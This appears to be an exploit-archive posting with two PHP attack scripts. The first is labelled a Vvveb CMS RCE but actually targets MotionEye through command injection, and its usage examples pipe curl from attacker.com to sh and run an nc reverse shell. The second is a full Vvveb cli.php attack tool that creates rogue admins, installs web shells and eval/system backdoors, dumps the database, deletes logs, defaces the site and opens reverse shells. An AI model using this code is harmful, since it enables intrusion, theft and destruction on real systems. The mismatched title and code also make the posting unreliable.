=============================================================================================================================================
| # Title     : Vvveb CMS 1.0.5 RCE                                                                                                         |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://www.vvveb.com/                                                                                                      |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/210781/ & CVE-2025-8518

[+] Summary    : Command Injection in Configuration Files - Unsanitized user input in the image_file_name parameter 
                 allows authenticated attackers to inject OS commands via $(command) syntax, leading to remote code execution.

[+] POC :

php motioneye_rce.php check https://target-motioneye.local

php motioneye_rce.php check https://192.168.1.100 admin password123

<?php


class MotionEyeRCE {
    private $target;
    private $username;
    private $password;
    private $uri;
    private $cookies;
    private $timeout = 30;
    private $verify_ssl = false;
    private $camera_id;
    
    public function __construct($target, $username = 'admin', $password = '') {
        $this->target = rtrim($target, '/');
        $this->username = $username;
        $this->password = $password;
        $this->cookies = [];
        $this->camera_id = null;
    }
    
    /**
     * Clean string according to MotionEye's canonicalization rules
     */
    private function clean_string($data) {
        if ($data === null) {
            return '';
        }
        
        if (!is_string($data)) {
            $data = (string)$data;
        }
        
        // Regex from MotionEye source code
        $signature_regex = '/[^A-Za-z0-9\/?_.=&{}\[\]":, -]/';
        return preg_replace($signature_regex, '-', $data);
    }
    
    /**
     * Compute SHA1 signature for MotionEye requests
     */
    private function compute_signature($method, $path, $body = null, $key = '') {
        // Parse URL
        $parsed = parse_url($path);
        $path_only = $parsed['path'] ?? '';
        $query_str = $parsed['query'] ?? '';
        
        // Parse query parameters
        $query_params = [];
        if ($query_str) {
            parse_str($query_str, $query_params);
        }
        
        // Remove _signature parameter
        unset($query_params['_signature']);
        
        // Sort parameters alphabetically
        ksort($query_params);
        
        // Build canonical query string
        $canonical_query = '';
        foreach ($query_params as $k => $v) {
            if ($canonical_query !== '') {
                $canonical_query .= '&';
            }
            $canonical_query .= $k . '=' . rawurlencode($v);
        }
        
        // Build canonical path
        $canonical_path = $path_only;
        if ($canonical_query !== '') {
            $canonical_path .= '?' . $canonical_query;
        }
        
        // Clean path and body
        $cleaned_path = $this->clean_string($canonical_path);
        $cleaned_body = $this->clean_string($body);
        
        // Compute key hash
        $key_hash = strtolower(sha1($key));
        
        // Build data to hash
        $data = $method . ':' . $cleaned_path . ':' . $cleaned_body . ':' . $key_hash;
        
        return strtolower(sha1($data));
    }
    
    /**
     * Generate timestamp in milliseconds
     */
    private function generate_timestamp_ms() {
        return (int)(microtime(true) * 1000);
    }
    
    /**
     * Send HTTP request with MotionEye signature
     */
    private function send_signed_request($method, $path, $data = null, $headers = []) {
        $url = $this->target . $path;
        
        // Add required GET parameters
        $get_params = [
            '_username' => $this->username,
            '_' => $this->generate_timestamp_ms()
        ];
        
        // Parse existing query string if present
        $parsed = parse_url($url);
        $base_url = $parsed['scheme'] . '://' . $parsed['host'] . ($parsed['port'] ? ':' . $parsed['port'] : '') . $parsed['path'];
        $existing_query = [];
        
        if (isset($parsed['query'])) {
            parse_str($parsed['query'], $existing_query);
            $get_params = array_merge($get_params, $existing_query);
        }
        
        // Build query string
        $query_str = http_build_query($get_params);
        $path_with_query = $parsed['path'] . '?' . $query_str;
        
        // Compute signature
        $signature = $this->compute_signature(
            strtoupper($method),
            $path_with_query,
            $data,
            $this->password
        );
        
        // Add signature to query parameters
        $get_params['_signature'] = $signature;
        $query_str = http_build_query($get_params);
        
        // Build final URL
        $final_url = $base_url . '?' . $query_str;
        
        // Prepare request
        $ch = curl_init();
        
        $options = [
            CURLOPT_URL => $final_url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => $this->timeout,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_MAXREDIRS => 5,
            CURLOPT_SSL_VERIFYPEER => $this->verify_ssl,
            CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0,
            CURLOPT_HEADER => true,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
            CURLOPT_HTTPHEADER => array_merge([
                'Accept: application/json,text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language: en-US,en;q=0.5',
                'Connection: close'
            ], $headers)
        ];
        
        if (strtoupper($method) === 'POST') {
            $options[CURLOPT_POST] = true;
            if ($data !== null) {
                $options[CURLOPT_POSTFIELDS] = $data;
                
                // Detect content type
                if (is_array($data)) {
                    $options[CURLOPT_POSTFIELDS] = http_build_query($data);
                    $options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/x-www-form-urlencoded';
                } else {
                    $options[CURLOPT_POSTFIELDS] = $data;
                    if (json_decode($data) !== null) {
                        $options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/json';
                    }
                }
            }
        }
        
        // Add cookies if any
        if (!empty($this->cookies)) {
            $cookie_str = '';
            foreach ($this->cookies as $name => $value) {
                $cookie_str .= $name . '=' . $value . '; ';
            }
            $options[CURLOPT_COOKIE] = rtrim($cookie_str, '; ');
        }
        
        curl_setopt_array($ch, $options);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $error = curl_error($ch);
        
        curl_close($ch);
        
        if ($response === false) {
            throw new Exception("cURL error: " . $error);
        }
        
        $headers = substr($response, 0, $header_size);
        $body = substr($response, $header_size);
        
        // Extract and store cookies
        preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $headers, $matches);
        foreach ($matches[1] as $cookie) {
            $parts = explode('=', $cookie, 2);
            if (count($parts) == 2) {
                $this->cookies[$parts[0]] = $parts[1];
            }
        }
        
        return [
            'code' => $http_code,
            'headers' => $headers,
            'body' => $body
        ];
    }
    
    /**
     * Check if target is vulnerable
     */
    public function check() {
        try {
            $ch = curl_init($this->target);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => $this->verify_ssl,
                CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code !== 200) {
                return ['vulnerable' => false, 'message' => 'Target not reachable or not MotionEye'];
            }
            
            // Look for motionEye version
            if (preg_match('/motionEye Version.*?<span[^>]*>([^<]+)</', $response, $matches)) {
                $version = trim($matches[1]);
                $clean_version = preg_replace('/[a-zA-Z]/', '', $version);
                
                if (version_compare($clean_version, '0.43.15', '<')) {
                    return [
                        'vulnerable' => true,
                        'message' => "Vulnerable version detected: $version",
                        'version' => $version
                    ];
                } else {
                    return [
                        'vulnerable' => 'unknown',
                        'message' => "Newer version detected: $version. Check release notes.",
                        'version' => $version
                    ];
                }
            }
            
            return ['vulnerable' => false, 'message' => 'MotionEye version not found'];
            
        } catch (Exception $e) {
            return ['vulnerable' => false, 'message' => 'Error: ' . $e->getMessage()];
        }
    }
    
    /**
     * Add a camera to MotionEye
     */
    private function add_camera() {
        echo "[+] Adding malicious camera...\n";
        
        $data = json_encode([
            'scheme' => 'rstp',
            'host' => $this->generate_ip(),
            'port' => '',
            'path' => '/',
            'username' => '',
            'proto' => 'netcam'
        ]);
        
        $response = $this->send_signed_request(
            'POST',
            '/config/add/',
            $data,
            ['Content-Type: application/json']
        );
        
        if ($response['code'] !== 200) {
            throw new Exception("Failed to add camera. HTTP {$response['code']}");
        }
        
        $json = json_decode($response['body'], true);
        if (!$json || !isset($json['id'])) {
            throw new Exception("Invalid response when adding camera");
        }
        
        $this->camera_id = $json['id'];
        echo "[+] Camera added successfully (ID: {$this->camera_id})\n";
        
        return $this->camera_id;
    }
    
    /**
     * Configure camera with payload
     */
    private function configure_camera($payload) {
        echo "[+] Configuring camera with payload...\n";
        
        $camera_name = 'cam_' . bin2hex(random_bytes(4));
        $config = [
            'enabled' => true,
            'name' => $camera_name,
            'proto' => 'netcam',
            'auto_brightness' => false,
            'rotation' => [0, 90, 180, 270][rand(0, 3)],
            'framerate' => rand(2, 30),
            'privacy_mask' => false,
            'storage_device' => 'custom-path',
            'root_directory' => "/var/lib/motioneye/{$camera_name}",
            'upload_enabled' => false,
            'upload_picture' => false,
            'upload_movie' => false,
            'upload_service' => ['ftp', 'sftp', 'webdav'][rand(0, 2)],
            'upload_method' => ['post', 'put'][rand(0, 1)],
            'upload_subfolders' => false,
            'web_hook_storage_enabled' => false,
            'command_storage_enabled' => false,
            'text_overlay' => false,
            'text_scale' => rand(1, 3),
            'video_streaming' => false,
            'streaming_framerate' => rand(5, 30),
            'streaming_quality' => rand(50, 95),
            'streaming_resolution' => rand(50, 95),
            'streaming_server_resize' => false,
            'streaming_port' => '9081',
            'streaming_auth_mode' => 'disabled',
            'streaming_motion' => false,
            'still_images' => true,
            'image_file_name' => "$({$payload})",  // Payload injection point
            'image_quality' => rand(50, 95),
            'capture_mode' => 'manual',
            'preserve_pictures' => '0',
            'manual_snapshots' => true,
            'movies' => false,
            'movie_file_name' => '%Y-%m-%d/%H-%M-%S',
            'movie_quality' => rand(50, 95),
            'movie_format' => 'mp4 => h264_v4l2m2m',
            'movie_passthrough' => false,
            'recording_mode' => 'motion-triggered',
            'max_movie_length' => '0',
            'preserve_movies' => '0',
            'motion_detection' => false,
            'frame_change_threshold' => '0.' . rand(1000000000000000, 9999999999999999),
            'max_frame_change_threshold' => rand(0, 1),
            'auto_threshold_tuning' => false,
            'auto_noise_detect' => false,
            'noise_level' => rand(10, 32),
            'light_switch_detect' => '0',
            'despeckle_filter' => false,
            'event_gap' => rand(5, 30),
            'pre_capture' => rand(1, 5),
            'post_capture' => rand(1, 5),
            'minimum_motion_frames' => rand(20, 30),
            'motion_mask' => false,
            'show_frame_changes' => false,
            'create_debug_media' => false,
            'email_notifications_enabled' => false,
            'telegram_notifications_enabled' => false,
            'web_hook_notifications_enabled' => false,
            'web_hook_end_notifications_enabled' => false,
            'command_notifications_enabled' => false,
            'command_end_notifications_enabled' => false,
            'working_schedule' => false,
            'resolution' => ['320x240', '640x480', '1280x720'][rand(0, 2)]
        ];
        
        $data = json_encode([$this->camera_id => $config]);
        
        $response = $this->send_signed_request(
            'POST',
            '/config/0/set/',
            $data,
            ['Content-Type: application/json']
        );
        
        if ($response['code'] !== 200) {
            throw new Exception("Failed to configure camera. HTTP {$response['code']}");
        }
        
        echo "[+] Camera configured with payload\n";
    }
    
    /**
     * Trigger the exploit by taking a snapshot
     */
    private function trigger_exploit() {
        echo "[+] Triggering exploit...\n";
        
        $response = $this->send_signed_request(
            'POST',
            "/action/{$this->camera_id}/snapshot/",
            'null',
            ['Content-Type: application/json']
        );
        
        if ($response['code'] !== 200) {
            throw new Exception("Failed to trigger exploit. HTTP {$response['code']}");
        }
        
        echo "[+] Exploit triggered\n";
    }
    
    /**
     * Remove the camera
     */
    private function remove_camera() {
        if (!$this->camera_id) {
            return;
        }
        
        echo "[+] Removing camera...\n";
        
        try {
            $response = $this->send_signed_request(
                'POST',
                "/config/{$this->camera_id}/rem/",
                'null',
                ['Content-Type: application/json']
            );
            
            if ($response['code'] === 200) {
                echo "[+] Camera removed successfully\n";
            }
        } catch (Exception $e) {
            echo "[-] Error removing camera: " . $e->getMessage() . "\n";
        }
        
        $this->camera_id = null;
    }
    
    /**
     * Generate random IP address
     */
    private function generate_ip() {
        return rand(1, 254) . '.' . rand(0, 254) . '.' . rand(0, 254) . '.' . rand(1, 254);
    }
    
    /**
     * Execute exploit
     */
    public function exploit($payload) {
        try {
            // Check target first
            $check = $this->check();
            if (!$check['vulnerable']) {
                echo "[-] Target appears not to be vulnerable: " . $check['message'] . "\n";
                return false;
            }
            
            echo "[+] Target appears to be vulnerable\n";
            
            // Add camera
            $this->add_camera();
            
            // Configure with payload
            $this->configure_camera($payload);
            
            // Trigger exploit
            $this->trigger_exploit();
            
            echo "[+] Exploit completed. Check for callback.\n";
            
            return true;
            
        } catch (Exception $e) {
            echo "[-] Exploit failed: " . $e->getMessage() . "\n";
            
            // Clean up
            $this->remove_camera();
            
            return false;
        }
    }
    
    /**
     * Clean up resources
     */
    public function cleanup() {
        $this->remove_camera();
    }
    
    public function __destruct() {
        $this->cleanup();
    }
}

/**
 * Command-line interface
 */
if (php_sapi_name() === 'cli') {
    if ($argc < 2) {
        echo "MotionEye RCE Exploit (CVE-2025-60787)\n";
        echo "Usage:\n";
        echo "  php {$argv[0]} check <url> [username] [password]\n";
        echo "  php {$argv[0]} exploit <url> <payload> [username] [password]\n";
        echo "\nExamples:\n";
        echo "  php {$argv[0]} check https://192.168.1.100\n";
        echo "  php {$argv[0]} exploit https://192.168.1.100 'curl http://attacker.com/shell.sh|sh'\n";
        echo "  php {$argv[0]} exploit https://192.168.1.100 'nc -e /bin/bash 192.168.1.50 4444' admin password123\n";
        exit(1);
    }
    
    $command = $argv[1];
    $url = $argv[2] ?? '';
    
    if ($command === 'check') {
        $username = $argv[3] ?? 'admin';
        $password = $argv[4] ?? '';
        
        $exploit = new MotionEyeRCE($url, $username, $password);
        $result = $exploit->check();
        
        echo "Target: $url\n";
        echo "Status: " . $result['message'] . "\n";
        if (isset($result['version'])) {
            echo "Version: " . $result['version'] . "\n";
        }
        
    } elseif ($command === 'exploit') {
        $payload = $argv[3] ?? '';
        $username = $argv[4] ?? 'admin';
        $password = $argv[5] ?? '';
        
        if (!$payload) {
            echo "[-] Payload required for exploit command\n";
            exit(1);
        }
        
        $exploit = new MotionEyeRCE($url, $username, $password);
        $exploit->exploit($payload);
        
    } else {
        echo "[-] Unknown command: $command\n";
        exit(1);
    }
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================



Rediscovered to still affect version 1.0.7.3 per the researcher:


=============================================================================================================================================
| # Title     : Vvveb CMS 1.0.7.3 CLI.php Remote Code Execution Exploit                                                                     |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://www.vvveb.com/update.json                                                                                           |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/210781/ & CVE-2025-8518

[+] Summary    : The Vvveb CMS CLI tool (cli.php) contains critical security flaws when accessible via web:

    Authentication Bypass: Automatically logs in as Super Admin when accessed with admin parameter

    Unfiltered Input: Accepts arbitrary GET/POST parameters directly from command line/web requests

    No Authorization Checks: Allows execution of any administrative function without verification

[+] Exploitation Methods

Remote Access via Web (Misconfiguration)

# Direct URL access to cli.php

https://target.com/cli.php?admin&module=user/users&action=save&user[email]=attacker@evil.com&user[role_id]=1

# Using discovered cli.php paths

https://target.com/admin/cli.php?admin&module=tools/cache&action=delete

Local Server Access (Common)
bash

# With shell access to server

php cli.php admin module=user/users action=save user[email]=admin@evil.com user[password]=hacked123

# Full control operations

php cli.php admin module=plugin/plugins action=install url=http://malicious.com/backdoor.zip
php cli.php admin module=content/posts action=delete post_id=all

[+] POC : php poc.php

<?php
/*
 * Vvveb CLI Exploiter - Multi-Function Attack Tool
 * Author: Security Researcher
 * Warning: For authorized testing only
 */

error_reporting(0);
set_time_limit(0);

class VvvebExploiter {
    private $target;
    private $output = [];
    private $cli_paths = [
        '/cli.php',
        '/vvveb/cli.php',
        '/admin/cli.php',
        '/public/cli.php',
        '/system/cli.php'
    ];
    
    public function __construct($target) {
        $this->target = rtrim($target, '/');
    }
    
    // 1. Discover cli.php file
    public function discover() {
        $this->log("🔍 Discovering cli.php paths...");
        
        foreach ($this->cli_paths as $path) {
            $url = $this->target . $path;
            try {
                $response = $this->http_request($url);
                if (strpos($response, 'Usage cli.php') !== false || 
                    strpos($response, 'vvveb') !== false) {
                    $this->log("[✅] Found cli.php at: " . $url);
                    return $url;
                }
            } catch (Exception $e) {
                continue;
            }
        }
        
        // Try automatic discovery
        $this->log("[🔄] Scanning common paths...");
        $common_paths = $this->bruteforce_paths();
        
        foreach ($common_paths as $path) {
            $url = $this->target . $path;
            if (@file_get_contents($url, false, null, 0, 100)) {
                $this->log("[⚠️] Potential path: " . $url);
            }
        }
        
        return false;
    }
    
    // 2. Full exploitation via cli.php
    public function full_exploit($cli_url) {
        $this->log("\n💀 Starting full exploitation...\n");
        
        // A. Clear cache
        $this->log("[1] Clearing cache...");
        $this->execute($cli_url, 'admin', 'tools/cache', 'delete');
        
        // B. Create admin user
        $this->log("[2] Creating admin user...");
        $user_data = [
            'user[email]' => 'admin_hack_' . rand(1000,9999) . '@evil.com',
            'user[password]' => 'P@ssw0rd' . rand(100,999),
            'user[role_id]' => 1,
            'user[username]' => 'hacker' . rand(1,100)
        ];
        $this->execute($cli_url, 'admin', 'user/users', 'save', $user_data);
        
        // C. Upload web shell
        $this->log("[3] Uploading web shell...");
        $shell_url = 'http://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/php/simple.php';
        $this->execute($cli_url, 'admin', 'plugin/plugins', 'install', ['url' => $shell_url]);
        
        // D. Create backdoor
        $this->log("[4] Creating backdoor...");
        $backdoor_code = base64_encode('<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);}?>');
        $this->execute($cli_url, 'admin', 'content/posts', 'save', [
            'post[title]' => 'Normal Post',
            'post[content]' => '<?php eval(base64_decode("' . $backdoor_code . '")); ?>',
            'post[status]' => 'published',
            'post[slug]' => 'shell_' . rand(1000,9999) . '.php'
        ]);
        
        // E. Get system info
        $this->log("[5] Gathering system information...");
        $this->execute($cli_url, 'admin', 'system/info', 'view');
        
        // F. Change site settings
        $this->log("[6] Changing site settings...");
        $this->execute($cli_url, 'admin', 'system/settings', 'save', [
            'setting[site_title]' => 'HACKED BY SECURITY TEAM',
            'setting[maintenance]' => 1
        ]);
        
        $this->log("\n🎯 Exploitation complete!");
        return true;
    }
    
    // 3. Create web shell
    public function create_webshell($cli_url, $path = '/uploads/shell.php') {
        $this->log("[+] Creating web shell at: " . $path);
        
        $shell_code = '<?php
// Vvveb Web Shell
error_reporting(0);
if(isset($_REQUEST["cmd"])){
    echo "<pre>";
    system($_REQUEST["cmd"]);
    echo "</pre>";
    die();
}
if(isset($_FILES["file"])){
    move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
    echo "Uploaded: ".$_FILES["file"]["name"];
    die();
}
echo \'<form method="post" enctype="multipart/form-data">
<input type="file" name="file"><input type="submit">
</form>\';
?>';
        
        // Try multiple methods
        $methods = [
            // Method 1: Via backup restore
            ['module' => 'tools/backup', 'action' => 'restore', 'params' => [
                'backup' => 'data:text/plain;base64,' . base64_encode($shell_code),
                'path' => $path
            ]],
            
            // Method 2: Via file upload
            ['module' => 'tools/import', 'action' => 'upload', 'params' => [
                'file[]' => 'data:text/plain;base64,' . base64_encode($shell_code)
            ]],
            
            // Method 3: Via post creation
            ['module' => 'content/posts', 'action' => 'save', 'params' => [
                'post[title]' => 'Shell',
                'post[content]' => $shell_code,
                'post[status]' => 'published',
                'post[slug]' => 'shell.php'
            ]]
        ];
        
        foreach ($methods as $method) {
            $this->execute($cli_url, 'admin', $method['module'], $method['action'], $method['params']);
            sleep(1);
        }
    }
    
    // 4. Dump database
    public function dump_database($cli_url) {
        $this->log("[+] Dumping database...");
        
        // Create backup
        $this->execute($cli_url, 'admin', 'tools/backup', 'create', [
            'filename' => 'db_dump_' . date('Y-m-d') . '.sql'
        ]);
        
        // Try to download it
        $backup_paths = [
            '/db_dump_' . date('Y-m-d') . '.sql',
            '/backup/db_dump_' . date('Y-m-d') . '.sql',
            '/system/storage/backup/db_dump_' . date('Y-m-d') . '.sql',
            '/public/backup/db_dump_' . date('Y-m-d') . '.sql'
        ];
        
        foreach ($backup_paths as $path) {
            $url = $this->target . $path;
            $content = $this->http_request($url);
            if ($content && strlen($content) > 100 && strpos($content, 'CREATE TABLE') !== false) {
                file_put_contents('stolen_database.sql', $content);
                $this->log("[✅] Database stolen: " . strlen($content) . " bytes");
                return true;
            }
        }
        
        return false;
    }
    
    // 5. Delete logs
    public function delete_logs($cli_url) {
        $this->log("[+] Deleting system logs...");
        
        $logs = [
            '/var/log/apache2/access.log',
            '/var/log/apache2/error.log',
            '/var/log/nginx/access.log',
            '/storage/logs/',
            '/system/logs/',
            '/logs/'
        ];
        
        foreach ($logs as $log) {
            $this->execute($cli_url, 'admin', 'tools/cache', 'delete', ['path' => $log]);
        }
        
        // Disable logging
        $this->execute($cli_url, 'admin', 'system/settings', 'save', [
            'setting[log_enabled]' => 0
        ]);
    }
    
    // 6. Deface site - FIXED LINE 185
    public function deface_site($cli_url) {
        $this->log("[💀] Defacing website...");
        
        $deface_html = '<!DOCTYPE html>
<html><head><title>HACKED</title></head>
<body style="background:black;color:red;text-align:center;">
<h1>🔓 SITE HACKED 🔓</h1>
<h2>Security Vulnerability Found</h2>
<p>Vvveb CMS cli.php exposed</p>
</body></html>';
        
        // Update homepage
        $this->execute($cli_url, 'admin', 'content/pages', 'save', [
            'page[title]' => 'HACKED',
            'page[content]' => $deface_html,
            'page[slug]' => 'index',
            'page[status]' => 'published'
        ]);
        
        // Direct file modification
        $this->execute($cli_url, 'admin', 'tools/backup', 'restore', [
            'backup' => 'data:text/html,' . urlencode($deface_html),
            'path' => '/index.php'
        ]);
    }
    
    // 7. Network scan
    public function scan_network($cli_url) {
        $this->log("[🌐] Scanning internal network...");
        
        $subnets = ['192.168.1.', '10.0.0.', '172.16.0.'];
        $ports = [80, 443, 8080, 3306, 22, 21, 25];
        
        foreach ($subnets as $subnet) {
            for ($i = 1; $i < 10; $i++) { // First 10 IPs only
                $ip = $subnet . $i;
                $this->execute($cli_url, 'admin', 'tools/ping', 'check', [
                    'host' => $ip,
                    'ports' => implode(',', $ports)
                ]);
            }
        }
    }
    
    // 8. Reverse shell
    public function reverse_shell($cli_url, $lhost, $lport = 4444) {
        $this->log("[⚡] Setting up reverse shell to $lhost:$lport");
        
        $php_reverse_shell = '<?php
$sock=fsockopen("' . $lhost . '",' . $lport . ');
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>';
        
        $this->execute($cli_url, 'admin', 'content/posts', 'save', [
            'post[title]' => 'Reverse Shell',
            'post[content]' => $php_reverse_shell,
            'post[status]' => 'published',
            'post[slug]' => 'revshell_' . rand(1000,9999) . '.php'
        ]);
        
        $this->log("[!] Start listener: nc -lvnp $lport");
    }
    
    // 9. Execute custom command
    public function execute_command($cli_url, $command) {
        $this->log("[⌨️] Executing: $command");
        
        // Encode command in PHP file
        $cmd_php = '<?php system("' . addslashes($command) . '"); ?>';
        
        return $this->execute($cli_url, 'admin', 'tools/backup', 'restore', [
            'backup' => 'data:text/plain;base64,' . base64_encode($cmd_php),
            'path' => '/tmp/cmd_' . rand(1000,9999) . '.php'
        ]);
    }
    
    // Helper: Execute command via cli.php
    private function execute($cli_url, $app, $module, $action, $params = []) {
        $url = $cli_url . '?' . $app . '&module=' . $module . '&action=' . $action;
        
        if (!empty($params)) {
            $url .= '&' . http_build_query($params);
        }
        
        try {
            $response = $this->http_request($url);
            
            if (strpos($response, 'error') === false && !empty($response)) {
                $this->log("[✅] Success: $module/$action");
                
                // Save important results
                if (strpos($response, 'password') !== false || 
                    strpos($response, 'email') !== false ||
                    strpos($response, 'INSERT INTO') !== false ||
                    strlen($response) < 5000) {
                    file_put_contents('results.txt', "\n=== $module/$action ===\n$response\n", FILE_APPEND);
                }
                
                return $response;
            }
        } catch (Exception $e) {
            $this->log("[❌] Failed: $module/$action - " . $e->getMessage());
        }
        
        return false;
    }
    
    private function http_request($url, $timeout = 10) {
        // Try cURL first
        if (function_exists('curl_init')) {
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $timeout,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            ]);
            
            $response = curl_exec($ch);
            if (curl_errno($ch)) {
                throw new Exception('cURL error: ' . curl_error($ch));
            }
            
            curl_close($ch);
            return $response;
        }
        
        // Fallback to file_get_contents
        $context = stream_context_create([
            'http' => [
                'timeout' => $timeout,
                'header' => "User-Agent: Mozilla/5.0\r\n"
            ],
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false
            ]
        ]);
        
        $response = @file_get_contents($url, false, $context);
        if ($response === false) {
            throw new Exception('HTTP request failed');
        }
        
        return $response;
    }
    
    private function bruteforce_paths() {
        $paths = [];
        
        // Common paths
        for ($i = 0; $i < 100; $i++) {
            $paths[] = '/vvveb' . $i . '/cli.php';
            $paths[] = '/admin' . $i . '/cli.php';
        }
        
        // Dynamic discovery
        $common_dirs = ['app', 'system', 'public', 'admin', 'vvveb', 'cms', 'web', 'install'];
        foreach ($common_dirs as $dir) {
            $paths[] = "/$dir/cli.php";
            $paths[] = "/$dir/../cli.php";
        }
        
        return $paths;
    }
    
    private function log($message) {
        echo $message . "\n";
        $this->output[] = $message;
    }
    
    public function save_report() {
        $report = implode("\n", $this->output);
        file_put_contents('exploit_report.txt', $report);
        $this->log("[📄] Report saved: exploit_report.txt");
    }
    
    public function get_output() {
        return $this->output;
    }
}

// ===============================
// Main Interface
// ===============================

function display_help() {
    echo "========================================\n";
    echo "    Vvveb CLI Exploiter \n";
    echo "    By indoushka\n";
    echo "========================================\n\n";
    
    echo "Usage: php exploit.php <target_url> [options]\n\n";
    echo "Options:\n";
    echo "  --discover         Discover cli.php only\n";
    echo "  --full             Full exploitation\n";
    echo "  --shell            Create web shell\n";
    echo "  --dbdump           Dump database\n";
    echo "  --clean            Delete logs\n";
    echo "  --deface           Deface website\n";
    echo "  --reverse <IP:PORT> Setup reverse shell\n";
    echo "  --cmd \"command\"    Execute system command\n";
    echo "  --auto             Everything automatic\n";
    echo "  --help             Show this help\n\n";
    
    echo "Examples:\n";
    echo "  php exploit.php https://target.com --discover\n";
    echo "  php exploit.php https://target.com --full\n";
    echo "  php exploit.php https://target.com --reverse 192.168.1.100:4444\n";
    echo "  php exploit.php https://target.com --cmd \"whoami\"\n";
}

// Main execution
if ($argc < 2 || in_array($argv[1], ['--help', '-h'])) {
    display_help();
    exit(1);
}

$target = $argv[1];
$option = $argv[2] ?? '--auto';

echo "\n";
echo "========================================\n";
echo "Target: $target\n";
echo "Mode: $option\n";
echo "========================================\n";

$exploiter = new VvvebExploiter($target);

// Discover cli.php first
echo "\n[1/3] Discovery phase...\n";
$cli_url = $exploiter->discover();

if (!$cli_url) {
    echo "[❌] cli.php not found\n";
    
    // Try default locations
    $default_urls = [
        $target . '/cli.php',
        $target . '/admin/cli.php',
        $target . '/vvveb/cli.php'
    ];
    
    foreach ($default_urls as $url) {
        echo "[?] Trying: $url\n";
    }
    
    exit(1);
}

echo "[✅] cli.php found: $cli_url\n";

// Execute based on option
echo "\n[2/3] Execution phase...\n";

switch ($option) {
    case '--discover':
        echo "[ℹ️] Discovery completed\n";
        break;
        
    case '--full':
        $exploiter->full_exploit($cli_url);
        break;
        
    case '--shell':
        $exploiter->create_webshell($cli_url);
        break;
        
    case '--dbdump':
        $exploiter->dump_database($cli_url);
        break;
        
    case '--clean':
        $exploiter->delete_logs($cli_url);
        break;
        
    case '--deface':
        $exploiter->deface_site($cli_url);
        break;
        
    case '--reverse':
        if ($argc < 4) {
            echo "[❌] Missing IP:PORT for reverse shell\n";
            echo "Usage: --reverse 192.168.1.100:4444\n";
            exit(1);
        }
        list($lhost, $lport) = explode(':', $argv[3]);
        $exploiter->reverse_shell($cli_url, $lhost, $lport);
        break;
        
    case '--cmd':
        if ($argc < 4) {
            echo "[❌] Missing command\n";
            exit(1);
        }
        $command = $argv[3];
        $exploiter->execute_command($cli_url, $command);
        break;
        
    case '--auto':
    default:
        $exploiter->full_exploit($cli_url);
        sleep(2);
        $exploiter->create_webshell($cli_url);
        sleep(1);
        $exploiter->dump_database($cli_url);
        sleep(1);
        $exploiter->delete_logs($cli_url);
        break;
}

// Save report
echo "\n[3/3] Reporting phase...\n";
$exploiter->save_report();

echo "\n========================================\n";
echo "    Operation completed\n";
echo "    Check results.txt and exploit_report.txt\n";
echo "========================================\n";

// Next steps
echo "\n🔧 Next Steps:\n";
echo "1. Access web shell: " . $target . "/uploads/shell.php\n";
echo "2. Check for new admin users\n";
echo "3. Use backdoor files\n";
echo "4. Review stolen data\n";

// Check if we created shells
echo "\n📁 Created files (check these):\n";
echo "- " . $target . "/shell_*.php\n";
echo "- " . $target . "/uploads/shell.php\n";
echo "- /tmp/cmd_*.php\n";
?>


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================